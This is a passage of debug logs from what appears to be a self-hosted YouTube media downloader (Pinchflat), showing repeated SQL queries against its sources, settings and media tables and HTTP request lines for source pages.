s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 22:17:21.928 [debug] QUERY OK source="settings" db=0.3ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.928 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.928 [debug] QUERY OK source="settings" db=0.3ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.929 [debug] QUERY OK source="media_profiles" db=0.6ms idle=0.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 22:17:21.929 [debug] QUERY OK source="settings" db=0.8ms queue=0.2ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.929 [debug] QUERY OK source="sources" db=0.9ms idle=0.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 22:17:21.929 [debug] QUERY OK source="settings" db=0.6ms idle=0.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.929 [debug] QUERY OK source="settings" db=0.5ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.929 [debug] QUERY OK source="settings" db=0.5ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.930 [debug] QUERY OK source="settings" db=0.3ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.930 [debug] QUERY OK source="tasks" db=0.8ms idle=0.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [6, "executing", "available", "scheduled", "retryable"] 22:17:21.930 [debug] QUERY OK source="media_items" db=0.6ms idle=0.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [10] 22:17:21.930 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.931 [info] Sent 200 in 6ms 22:17:21.931 [debug] QUERY OK source="oban_jobs" db=0.9ms idle=0.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2348] 22:17:21.931 [debug] QUERY OK source="media_items" db=1.4ms idle=0.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [10, 10, 0] 22:17:21.932 [debug] QUERY OK source="settings" db=0.4ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.932 [debug] QUERY OK source="sources" db=0.5ms idle=1.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 22:17:21.932 [debug] QUERY OK source="settings" db=0.4ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.933 [debug] QUERY OK source="settings" db=0.2ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.933 [debug] QUERY OK source="sources" db=0.8ms idle=0.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 22:17:21.933 [debug] QUERY OK source="media_items" db=1.0ms idle=1.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [10] 22:17:21.935 [debug] QUERY OK source="media_items" db=1.2ms queue=0.2ms idle=1.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [10] 22:17:21.935 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 22:17:21.935 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=1.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [10, 10, 0] 22:17:21.936 [debug] QUERY OK source="media_items" db=1.2ms idle=1.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [10, 10, 0] 22:17:21.937 [debug] QUERY OK source="sources" db=1.4ms idle=0.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 22:17:21.937 [debug] QUERY OK source="media_items" db=1.7ms idle=1.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [6] 22:17:21.938 [debug] QUERY OK source="media_items" db=0.5ms idle=2.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [10] 22:17:21.938 [debug] QUERY OK source="media_items" db=0.7ms idle=2.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [6, 10, 0] 22:17:21.939 [debug] QUERY OK source="media_items" db=1.1ms idle=1.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [10, 10, 0] 22:17:21.939 [info] Sent 200 in 23ms 22:17:21.939 [debug] QUERY OK source="sources" db=0.8ms idle=1.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 22:17:21.940 [info] Sent 200 in 15ms 22:17:21.940 [debug] QUERY OK source="media_items" db=0.5ms idle=2.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [6] 22:17:21.940 [debug] QUERY OK source="sources" db=0.4ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 22:17:21.941 [debug] QUERY OK source="media_items" db=0.3ms idle=2.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [6, 10, 0] 22:17:21.942 [debug] QUERY OK source="media_items" db=1.2ms idle=1.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [10] 22:17:21.942 [debug] QUERY OK source="sources" db=0.6ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 22:17:21.944 [debug] QUERY OK source="media_items" db=1.4ms idle=1.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [10, 10, 0] 22:17:21.944 [debug] QUERY OK source="media_items" db=0.8ms queue=0.6ms idle=2.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [6] 22:17:21.945 [debug] QUERY OK source="media_items" db=0.3ms idle=3.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [6, 10, 0] 22:17:21.945 [info] Sent 200 in 19ms 22:17:21.946 [info] Sent 200 in 23ms 22:17:22.148 [info] GET /sources/6/ 22:17:22.149 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "6"} Pipelines: [:browser] 22:17:22.150 [info] GET /sources/6/edit 22:17:22.151 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "6"} Pipelines: [:browser] 22:17:22.151 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=207.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 22:17:22.152 [debug] QUERY OK source="sources" db=0.4ms idle=208.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 22:17:22.152 [debug] QUERY OK source="media_profiles" db=0.4ms idle=207.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 22:17:22.153 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.1ms idle=207.7ms 